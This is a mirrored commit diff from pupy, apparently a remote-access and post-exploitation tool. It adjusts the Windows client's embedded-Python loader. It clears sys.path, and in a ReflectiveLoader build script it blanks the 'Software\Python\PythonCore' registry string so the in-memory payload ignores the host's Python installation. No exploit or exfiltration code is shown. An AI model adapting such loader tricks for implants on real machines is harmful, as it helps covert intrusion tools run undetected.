mirror of https://github.com/n1nj4sec/pupy.git
client/windows: workaround against registry checks
This commit is contained in:
parent
7a6dcbc321
commit
8ef1ff7b7a
|
@ -60,6 +60,7 @@ static HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t xzsize,
|
||||||
BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
|
BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
|
||||||
HMODULE hPython = NULL;
|
HMODULE hPython = NULL;
|
||||||
PyObject *py_argv = NULL;
|
PyObject *py_argv = NULL;
|
||||||
|
PyObject *py_empty_list = NULL;
|
||||||
dependency_t dependencies[] = DEPENDENCIES;
|
dependency_t dependencies[] = DEPENDENCIES;
|
||||||
resolve_symbol_t resolver = NULL;
|
resolve_symbol_t resolver = NULL;
|
||||||
dependency_t *dependency = NULL;
|
dependency_t *dependency = NULL;
|
||||||
|
@ -116,7 +117,8 @@ BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
|
||||||
PyEval_InitThreads();
|
PyEval_InitThreads();
|
||||||
if(!Py_IsInitialized()) {
|
if(!Py_IsInitialized()) {
|
||||||
char * ppath = Py_GetPath();
|
char * ppath = Py_GetPath();
|
||||||
memset(ppath, '\0', strlen(ppath));
|
if (ppath)
|
||||||
|
memset(ppath, '\0', strlen(ppath));
|
||||||
|
|
||||||
Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING;
|
Py_FileSystemDefaultEncoding = FILE_SYSTEM_ENCODING;
|
||||||
Py_IgnoreEnvironmentFlag = 1;
|
Py_IgnoreEnvironmentFlag = 1;
|
||||||
|
@ -131,7 +133,13 @@ BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
|
||||||
|
|
||||||
restore_state = PyGILState_Ensure();
|
restore_state = PyGILState_Ensure();
|
||||||
|
|
||||||
PySys_SetPath("");
|
py_empty_list = PyList_New(0);
|
||||||
|
if (!py_empty_list) {
|
||||||
|
dprint("Couldn't allocate list for sys.path\n");
|
||||||
|
goto lbExit1;
|
||||||
|
}
|
||||||
|
|
||||||
|
PySys_SetObject("path", py_empty_list);
|
||||||
|
|
||||||
dprint("SET ARGV (ARGC=%d; SHARED? %d)\n", argc, is_shared_object);
|
dprint("SET ARGV (ARGC=%d; SHARED? %d)\n", argc, is_shared_object);
|
||||||
|
|
||||||
|
|
|
@ -10,6 +10,14 @@ MAX_CHAR_PER_LINE = 50
|
||||||
|
|
||||||
ReflectiveLoaderSymName = 'ReflectiveLoader'
|
ReflectiveLoaderSymName = 'ReflectiveLoader'
|
||||||
|
|
||||||
|
ZERO_STRINGS = [
|
||||||
|
'Software\\Python\\PythonCore'
|
||||||
|
]
|
||||||
|
|
||||||
|
ZERO_STRINGS.extend([
|
||||||
|
z.encode('utf-16le') for z in ZERO_STRINGS
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
h_file = ""
|
h_file = ""
|
||||||
|
@ -20,6 +28,9 @@ if __name__ == "__main__":
|
||||||
|
|
||||||
with open(sys.argv[1], "rb") as f:
|
with open(sys.argv[1], "rb") as f:
|
||||||
file_bytes = f.read()
|
file_bytes = f.read()
|
||||||
|
for z in ZERO_STRINGS:
|
||||||
|
if z in file_bytes:
|
||||||
|
file_bytes = file_bytes.replace(z, '\00' * len(z))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
image_base = 0
|
image_base = 0
|
||||||
|
|
|
@ -5,7 +5,6 @@ decls = '''
|
||||||
void, Py_InitializeEx, (int)
|
void, Py_InitializeEx, (int)
|
||||||
void, Py_Finalize, (void)
|
void, Py_Finalize, (void)
|
||||||
char *, Py_GetPath, (void)
|
char *, Py_GetPath, (void)
|
||||||
void, PySys_SetPath, (const char *)
|
|
||||||
void, Py_SetPythonHome, (const char *)
|
void, Py_SetPythonHome, (const char *)
|
||||||
void, Py_SetProgramName, (const char *)
|
void, Py_SetProgramName, (const char *)
|
||||||
PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)
|
PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)
|
||||||
|
|
Loading…
Reference in New Issue